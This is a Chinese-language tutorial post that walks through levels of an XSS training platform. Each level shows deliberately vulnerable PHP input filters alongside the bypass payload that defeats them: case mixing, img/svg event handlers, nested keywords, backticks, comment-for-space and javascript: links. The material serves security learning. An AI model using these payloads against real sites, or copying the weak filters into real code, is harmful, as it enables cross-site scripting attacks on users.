浅析XSS的几种测试方法

Posted 网络安全社区悦信安

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了浅析XSS的几种测试方法相关的知识,希望对你有一定的参考价值。


0x00 背景

  最近看到一个好玩的xss社区,准备通过几个经典的关卡来剖析一下XSS,本文仅提供经典案例。

 

试玩链接:http://tr.secevery.com/xss_platform/code/xss01/index.php?name=1

 

0x01 经典一(未过滤)

一、代码片段

<?php ini_set('display_errors', 0); if (isset($_GET['name'])) { $str = $_GET['name']; echo "<h2>你好:".$str.'</h2>'; } else { echo "<h2>Please add parameters name.</h2>"; } ?>

 

 

二、分析

 

通过GET传递进来的name未做过滤,直接输入,因此引发XSS

 

三、构造payload

 

name=<script>alert(1)</script>

 

 

 

 

 

0x01 经典二(大小写绕过)

一、代码片段

<?php

    ini_set("display_errors", 0);

    

    $str = @$_POST["keyword"];

    $str = str_replace('script', '', $str);

 

    echo '

    <form action="index.php" method="POST">

    <input name=keyword size=60 value="'.$str.'">

    <input type=submit name=submit value="Search"/>

    </form>';

    echo '<p>No results for "<b>'.htmlspecialchars($str).'</b>"</p>';

?>

 

 

 

 

二、分析

通过post传递进来的keyword进行了关键词过滤,因此通过大小写可以绕过(也可其他姿势,此处主要讲解大小写绕过)

 

 

三、构造payload

 

 

 

 

 

0x02 经典三(img标签绕过)

一、代码片段

<?php

    ini_set("display_errors", 0);

    

    $str = strtolower(@$_POST["keyword"]);

    $str = str_replace('script', '', $str);

 

    echo '

    <form action="index.php" method="POST">

    <input name=keyword size=60 value="'.$str.'">

    <input type=submit name=submit value="Search"/>

    </form>';

    echo '<p>No results for "<b>'.htmlspecialchars($str).'</b>"</p>';

?>

 

 

 

二、分析

此处不仅大小写过滤,而且替换了script关键词为空,<script>标签不能用可使用其他标签绕过

 

三、构造payload

 

keyword="><img src=# onerror="alert(1)"><"

 

 

 

0x03 经典四(二次绕过)

一、代码片段

<?

$xss=$_GET['x'];

$xss=preg_replace("/script/i","",$xss);

echo 'hello:',$xss;

?>

 

 

 

二、分析

get传递过来的参数大小写都过滤了,此处只替换一次关键词,因为可以使用script关键词两次从而达到绕过。

(此处有其他姿势,但主要讲解二次绕过姿势)

 

 

三、构造payload

x=<SCRscriptIPT>alert(1)</SCscriptRIPT>

 

0x04 经典五(A标签配合javascript绕过)

一、代码片段

<?php

    ini_set("display_errors", 0);

 

    $str = strtolower(@$_POST["keyword"]);

    while (strpos($str,'<script>')) {$str = str_replace('<script>', '', $str);}

    while (strpos($str,'on')) {$str = str_replace('on', '', $str);}

 

    echo '

    <form action="index.php" method="POST">

    <input name=keyword size=60 value="'.$str.'">

    <input type=submit name=submit value="Search"/>

    </form>';

    echo '<p>No results for "<b>'.htmlspecialchars($str).'</b>"</p>';

?>

浅析XSS的几种测试方法

二、分析

post传递过来的参数,进行了关键标签过来,并且调用事件的on关键词也过滤掉。此处可调用a标签,通过点击a标签重定向导致XSS

 

 

三、构造payload

keyword="><a href=javascript:alert(1)>xss me</a><"

浅析XSS的几种测试方法

0x05 经典SVG标签绕过

一、代码片段

<?php ini_set("display_errors", 0); $str = strtolower(@$_POST["keyword"]); while (strpos($str,'script')) {$str = str_replace('script', '', $str);} while (strpos($str,'<img')) {$str = str_replace('<img', '', $str);} while (strpos($str,'<a')) {$str = str_replace('<a', '', $str);} echo ' <form action="index.php" method="POST"> <input name=keyword size=60 value="'.$str.'"> <input type=submit name=submit value="Search"/> </form>'; echo '<p>No results for "<b>'.htmlspecialchars($str).'</b>"</p>'; ?>

浅析XSS的几种测试方法

二、分析

post传递过来的参数,进行了关键标签过滤但是仔细发现没有过滤svg标签

 

 

三、构造payload

keyword="><svg src=x onclick=alert(1)></svg><"

浅析XSS的几种测试方法

点击之后弹框

 

0x06 经典五(括号过滤猥琐绕过

一、代码片段

<?php ini_set("display_errors", 0); $str = strtolower(@$_POST["keyword"]); while (strpos($str,'script')) {$str = str_replace('script', '', $str);} $str = str_replace('(', '', $str); $str = str_replace(')', '', $str); echo ' <form action="index.php" method="POST"> <input name=keyword size=60 value="'.$str.'"> <input type=submit name=submit value="Search"/> </form>'; echo '<p>No results for "<b>'.htmlspecialchars($str).'</b>"</p>'; ?

浅析XSS的几种测试方法

二、分析

post传递过来的参数,进行了关键标签过滤但是仔细发现没有过滤svg标签,但是奇葩的过滤了括号,但是可用反引号替代

 

 

三、构造payload

keyword="><svg src=x onclick=alert`1`></svg><"

浅析XSS的几种测试方法

0x07 经典空格注释绕过

一、代码片段

<?php ini_set("display_errors", 0); $str = strtolower(@$_POST["keyword"]); while (strpos($str,'script')) {$str = str_replace('script', '', $str);} $str = str_replace('(', '', $str); $str = str_replace(')', '', $str); $str = str_replace(' ', '', $str); echo ' <form action="index.php" method="POST"> <input name=keyword size=60 value="'.$str.'"> <input type=submit name=submit value="Search"/> </form>'; echo '<p>No results for "<b>'.htmlspecialchars($str).'</b>"</p>'; ?>

浅析XSS的几种测试方法

 

二、分析

post传递过来的参数,进行了关键标签过滤并且过滤(),甚至还TM的过滤了空格,简直丧心病狂

 

 

三、构造payload

keyword="><img/**/ font-size: 13px;">x/**/"onclick=alert`1`><"

keyword="><img/src='1'/onerror=alert`0`><"

keyword="><<svg/onload=alert`1`><"

浅析XSS的几种测试方法

0x08 经典input标签里绕过

一、代码片段

<?php ini_set("display_errors", 0); $str = strtolower(@$_POST["keyword"]); $str = preg_replace("/<.*?>/", '', $str); echo ' <form action="index.php" method="POST"> <input name=keyword size=60 value="'.$str.'"> <input type=submit name=submit value="Search"/> </form>'; echo '<p>No results for "<b>'.htmlspecialchars($str).'</b>"</p>'; ?>

浅析XSS的几种测试方法

二、分析

post传递过来的参数,进行正则匹配过滤,过滤所有标签

三、构造payload

<input type=image src=x onerror=alert(1)> 这个payload会把input当做img标签来用 此处用 " type=image src=x onerror=alert(1) " 闭合前后双引号,构造即可

keyword=" type=image src=x onerror=alert(1) "

浅析XSS的几种测试方法

0x08 经典输出直接在可执行JS代码里面

一、代码片段

<?php ini_set("display_errors", 0); echo ' <form action=index.php method=POST> <input name=link size=60 value=""> <input type=submit name=submit value="add link" /> </form>'; echo '<div></div>'; if (isset($_POST['link'])) { $str = strtolower(@$_POST["link"]); $str=str_replace('"','"',$str); $str=str_replace("'",''',$str); echo '<div><a href="'.$str.'">Link</a></div>'; } ?>

浅析XSS的几种测试方法

二、分析

本实例post传递过来的参数,输出在a标签里面,直接调用js代码可弹框

 

三、构造payload

link=javascript:alert(1)



以上是关于浅析XSS的几种测试方法的主要内容,如果未能解决你的问题,请参考以下文章

性能测试中TPS上不去的几种原因浅析

性能测试中TPS上不去的几种原因浅析

性能测试的几种常见方法

javascript中的几种遍历方法浅析

性能测试中TPS上不去的几种原因

Python接口自动化之执行测试用例的几种方法